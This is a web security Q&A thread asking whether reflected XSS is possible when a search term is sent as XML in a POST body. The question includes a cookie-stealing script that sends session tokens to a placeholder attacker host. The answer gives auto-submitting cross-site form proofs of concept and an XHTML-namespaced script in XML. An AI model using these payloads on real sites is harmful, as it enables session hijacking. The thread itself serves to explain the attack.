6

I know that a reflected XSS can be done with a GET request like: 

http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>

As long the response looks similar to this:

<html>
    <head>
        <title>Your Serach Results</title>
    </head>
    <body>
        <h2>No results for: </h2>
        <script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </body>
</html>

But is this attack still possible, in case that the search term is send along a POST request in the http body as part of XML content. This approch is often used by RESTful services.

<Query>
    <SearchTerm>
        script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </SearchTerm>
</Query>

If this is possible, how can an attacker achieve this?

[EDIT]

It is also required that the Content-Type header is set to application/xml

Improve this question

1 Answer 1

Reset to default
10

Attacker can use to auto submittable remote form with the default values. like this :

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>

And add a script with XHTML namespace, it will run. Example

sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
*   Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
< 
<?xml version="1.0" encoding="UTF-8"?>
<Query>
    <SearchTerm>
        <script xmlns="http://www.w3.org/1999/xhtml">
            alert('Hello');
        </script>
    </SearchTerm>
</Query>
* Closing connection #0

Example

Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.